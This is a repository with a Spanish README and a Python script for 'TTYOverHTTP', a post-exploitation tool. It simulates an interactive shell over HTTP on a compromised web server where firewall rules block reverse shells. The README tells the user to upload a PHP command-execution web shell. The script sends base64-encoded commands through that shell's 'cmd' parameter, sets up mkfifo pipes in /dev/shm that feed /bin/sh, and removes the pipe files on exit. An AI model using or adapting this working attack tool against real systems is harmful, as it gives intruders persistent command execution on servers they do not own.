├── README.md
└── tty_over_http.py
/README.md:
--------------------------------------------------------------------------------
1 | # TTYOverHTTP
2 |
3 | En ocasiones cuando comprometemos un servidor web, hay reglas configuradas (**Ej: iptables**) que nos impiden obtener una Reverse Shell vía Netcat, Python, u otra utilidad.
4 |
5 | Con esta herramienta, evitamos tener que hacer uso de una reverse shell para
6 | obtener una TTY posteriormente completamente interactiva. A través de archivos
7 | '**mkfifo**', jugamos para simular una TTY interactiva sobre HTTP, logrando
8 | manejarnos sobre el sistema cómodamente sin ningún tipo de problema.
9 |
10 | Lo único que necesitamos, es subir al servidor comprometido una estructura PHP como la siguiente para ejecutar comandos:
11 |
12 | ```php
13 |
16 | ```
17 |
18 | Una vez subido, simplemente ejecutamos el script (Es necesario cambiar la ruta en el script donde se sitúa nuestro script PHP alojado en el servidor vulnerado).
19 |
20 | Tras su ejecución, se muestra un ejemplo de su utilidad:
21 |
22 |

23 |
24 |
--------------------------------------------------------------------------------
/tty_over_http.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import requests, time, threading, pdb, signal, sys
4 | from base64 import b64encode
5 | from random import randrange
6 |
7 | class AllTheReads(object):
8 | def __init__(self, interval=1):
9 | self.interval = interval
10 | thread = threading.Thread(target=self.run, args=())
11 | thread.daemon = True
12 | thread.start()
13 |
14 | def run(self):
15 | readoutput = """/bin/cat %s""" % (stdout)
16 | clearoutput = """echo '' > %s""" % (stdout)
17 | while True:
18 | output = RunCmd(readoutput)
19 | if output:
20 | RunCmd(clearoutput)
21 | print(output)
22 | time.sleep(self.interval)
23 |
24 | def RunCmd(cmd):
25 | cmd = cmd.encode('utf-8')
26 | cmd = b64encode(cmd).decode('utf-8')
27 | payload = {
28 | 'cmd' : 'echo "%s" | base64 -d | sh' %(cmd)
29 | }
30 | result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
31 | return result
32 |
33 | def WriteCmd(cmd):
34 | cmd = cmd.encode('utf-8')
35 | cmd = b64encode(cmd).decode('utf-8')
36 | payload = {
37 | 'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
38 | }
39 | result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
40 | return result
41 |
42 | def ReadCmd():
43 | GetOutput = """/bin/cat %s""" % (stdout)
44 | output = RunCmd(GetOutput)
45 | return output
46 |
47 | def SetupShell():
48 | NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
49 | try:
50 | RunCmd(NamedPipes)
51 | except:
52 | None
53 | return None
54 |
55 | global stdin, stdout
56 | session = randrange(1000, 9999)
57 | stdin = "/dev/shm/input.%s" % (session)
58 | stdout = "/dev/shm/output.%s" % (session)
59 | erasestdin = """/bin/rm %s""" % (stdin)
60 | erasestdout = """/bin/rm %s""" % (stdout)
61 |
62 | SetupShell()
63 |
64 | ReadingTheThings = AllTheReads()
65 |
66 | def sig_handler(sig, frame):
67 | print("\n\n[*] Exiting...\n")
68 | print("[*] Removing files...\n")
69 | RunCmd(erasestdin)
70 | RunCmd(erasestdout)
71 | print("[*] All files have been deleted\n")
72 | sys.exit(0)
73 |
74 | signal.signal(signal.SIGINT, sig_handler)
75 |
76 | while True:
77 | cmd = input("> ")
78 | WriteCmd(cmd + "\n")
79 | time.sleep(1.1)
80 |
--------------------------------------------------------------------------------